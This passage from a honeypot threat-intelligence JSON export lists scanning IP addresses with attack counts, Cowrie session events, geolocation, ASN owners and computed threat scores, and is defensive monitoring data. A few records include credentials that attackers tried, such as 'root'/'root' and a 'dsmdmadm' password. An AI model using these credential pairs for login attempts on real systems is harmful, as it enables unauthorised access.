        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 130781,
        "days_active_30d": 1,
        "ports_targeted_30d": 65341,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-11T10:16:57+00:00",
        "last_seen_30d": "2026-04-11T10:29:05.918000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 114068,
        "Honeytrap": 16656,
        "ConPot": 10,
        "Cowrie": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "66.132.172.128": {
      "attack_count": 10,
      "first_seen": "2026-04-16T08:36:07.677Z",
      "last_seen": "2026-04-28T00:47:13.884Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T09:05:17+00:00",
        "last_seen_30d": "2026-04-30T16:20:21.419000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 45,
        "Cowrie": 10,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Dionaea": 1,
        "Mailoney": 1
      }
    },
    "66.132.172.223": {
      "attack_count": 10,
      "first_seen": "2026-04-21T08:33:38.754Z",
      "last_seen": "2026-04-30T16:13:59.773Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 29,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-02T06:19:37+00:00",
        "last_seen_30d": "2026-04-30T16:15:05.887000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130,
        "Honeytrap": 48,
        "Cowrie": 10,
        "ElasticPot": 10,
        "CitrixHoneypot": 4,
        "Honeyaml": 4,
        "Sentrypeer": 1
      }
    },
    "103.231.253.229": {
      "attack_count": 8,
      "first_seen": "2026-04-30T09:09:56.339Z",
      "last_seen": "2026-04-30T09:10:57.075Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 133380,
      "as_org": "Layerstack Limited",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T09:09:56.339000+00:00",
        "last_seen_30d": "2026-04-30T09:12:02.441000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "176.222.167.120": {
      "attack_count": 8,
      "first_seen": "2026-04-30T08:55:05.497Z",
      "last_seen": "2026-04-30T09:03:08.349Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Kokshetau",
      "asn": 21299,
      "as_org": "Kar-Tel LLC",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:55:05.497000+00:00",
        "last_seen_30d": "2026-04-30T09:04:10.720000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "192.42.116.43": {
      "attack_count": 8,
      "first_seen": "2026-04-08T18:59:47.171Z",
      "last_seen": "2026-04-08T19:00:01.918Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T18:59:47.171000+00:00",
        "last_seen_30d": "2026-04-08T19:01:06.238000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "2.57.121.69": {
      "attack_count": 8,
      "first_seen": "2026-04-12T07:03:44.108Z",
      "last_seen": "2026-04-13T01:02:14.005Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T07:03:44.108000+00:00",
        "last_seen_30d": "2026-04-13T01:03:16.927000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "13.89.125.30": {
      "attack_count": 7,
      "first_seen": "2026-04-24T20:28:19.262Z",
      "last_seen": "2026-04-24T20:28:29.262Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 25,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T21:00:07.114000+00:00",
        "last_seen_30d": "2026-04-29T22:48:47.491000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 12,
        "Cowrie": 7
      }
    },
    "146.70.117.27": {
      "attack_count": 7,
      "first_seen": "2026-04-28T20:33:32.198Z",
      "last_seen": "2026-04-28T20:40:35.729Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "dsmdmadm"
      ],
      "passwords_attempted": [
        "2Pr0xyM33ting!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:33:32.198000+00:00",
        "last_seen_30d": "2026-04-28T20:41:40.386000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "103.195.236.68": {
      "attack_count": 6,
      "first_seen": "2026-04-30T11:22:43.092Z",
      "last_seen": "2026-04-30T11:23:36.364Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:22:43.092000+00:00",
        "last_seen_30d": "2026-04-30T11:24:45.169000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "147.185.132.75": {
      "attack_count": 6,
      "first_seen": "2026-04-03T23:52:26.654Z",
      "last_seen": "2026-04-05T16:14:59.211Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T23:36:24+00:00",
        "last_seen_30d": "2026-04-30T22:09:12.791000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 21,
        "Cowrie": 6,
        "Dionaea": 3
      }
    },
    "185.247.137.148": {
      "attack_count": 6,
      "first_seen": "2026-04-30T11:22:18.395Z",
      "last_seen": "2026-04-30T11:22:21.146Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T22:12:09.552000+00:00",
        "last_seen_30d": "2026-04-30T11:32:27.013000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "198.235.24.128": {
      "attack_count": 6,
      "first_seen": "2026-04-12T04:03:55.779Z",
      "last_seen": "2026-04-15T15:55:22.365Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 27,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T23:54:32.681000+00:00",
        "last_seen_30d": "2026-04-27T00:08:11.139000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 8,
        "Cowrie": 6,
        "ConPot": 2,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "66.132.172.131": {
      "attack_count": 6,
      "first_seen": "2026-04-26T13:19:36.788Z",
      "last_seen": "2026-04-26T13:20:12.550Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 27,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-04T13:24:30+00:00",
        "last_seen_30d": "2026-04-30T17:00:07.232000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 39,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Miniprint": 6,
        "Redishoneypot": 6,
        "ConPot": 1,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "66.132.195.70": {
      "attack_count": 6,
      "first_seen": "2026-04-06T09:05:03.808Z",
      "last_seen": "2026-04-06T09:05:41.856Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T08:12:15.505000+00:00",
        "last_seen_30d": "2026-04-30T07:46:07.501000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105,
        "Honeytrap": 63,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "159.223.106.189": {
      "attack_count": 5,
      "first_seen": "2026-04-21T23:11:34.546Z",
      "last_seen": "2026-04-21T23:11:37.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:27:18.528000+00:00",
        "last_seen_30d": "2026-04-21T23:12:38.924000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "20.83.49.34": {
      "attack_count": 5,
      "first_seen": "2026-04-25T15:32:52.755Z",
      "last_seen": "2026-04-25T15:33:03.107Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 14.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 17,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-11T09:02:14.133000+00:00",
        "last_seen_30d": "2026-04-27T14:26:30.524000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 5,
        "Honeytrap": 3
      }
    },
    "48.214.144.100": {
      "attack_count": 5,
      "first_seen": "2026-04-15T17:53:00.668Z",
      "last_seen": "2026-04-15T17:53:11.024Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 14.2,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 17,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T15:49:10.453000+00:00",
        "last_seen_30d": "2026-04-17T07:46:59.846000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 7,
        "Cowrie": 5,
        "Dionaea": 5
      }
    },
    "109.105.210.64": {
      "attack_count": 4,
      "first_seen": "2026-04-04T19:49:02.752Z",
      "last_seen": "2026-04-04T19:49:10.752Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 77.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 26,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T19:49:02.752000+00:00",
        "last_seen_30d": "2026-04-29T15:50:51.336000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 17,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "110.35.235.136": {
      "attack_count": 4,
      "first_seen": "2026-04-11T20:17:40.286Z",
      "last_seen": "2026-04-14T16:57:23.562Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pohang",
      "asn": 7623,
      "as_org": "Gyeongbuk Cable TV",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T20:17:40.286000+00:00",
        "last_seen_30d": "2026-04-14T16:58:24.089000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "13.218.68.64": {
      "attack_count": 4,
      "first_seen": "2026-04-18T00:59:39.230Z",
      "last_seen": "2026-04-18T00:59:44.011Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:57:16.420000+00:00",
        "last_seen_30d": "2026-04-18T01:00:45.690000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "180.76.202.69": {
      "attack_count": 4,
      "first_seen": "2026-04-29T11:25:01.884Z",
      "last_seen": "2026-04-29T11:27:01.887Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:25:01.884000+00:00",
        "last_seen_30d": "2026-04-29T11:37:51.919000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.239": {
      "attack_count": 4,
      "first_seen": "2026-04-17T22:20:36.093Z",
      "last_seen": "2026-04-17T22:20:40.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 27,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T08:11:57+00:00",
        "last_seen_30d": "2026-04-29T07:50:09.307000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 16,
        "Cowrie": 4,
        "Redishoneypot": 3
      }
    },
    "198.235.24.66": {
      "attack_count": 4,
      "first_seen": "2026-04-13T11:05:04.119Z",
      "last_seen": "2026-04-13T11:05:07.313Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T09:12:51+00:00",
        "last_seen_30d": "2026-04-30T22:57:15.343000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 22,
        "Cowrie": 4,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "38.49.208.84": {
      "attack_count": 4,
      "first_seen": "2026-04-30T08:57:53.622Z",
      "last_seen": "2026-04-30T08:58:58.107Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 26832,
      "as_org": "Rica Web Services",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:57:53.622000+00:00",
        "last_seen_30d": "2026-04-30T09:00:07.761000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.9.29.219": {
      "attack_count": 4,
      "first_seen": "2026-04-29T10:42:18.009Z",
      "last_seen": "2026-04-29T10:44:27.255Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Pisochyn",
      "asn": 62206,
      "as_org": "Pitline Ltd",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T09:18:52.825000+00:00",
        "last_seen_30d": "2026-04-29T10:55:10.001000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "49.151.113.197": {
      "attack_count": 4,
      "first_seen": "2026-04-28T03:25:24.385Z",
      "last_seen": "2026-04-28T03:29:26.148Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Baguio City",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
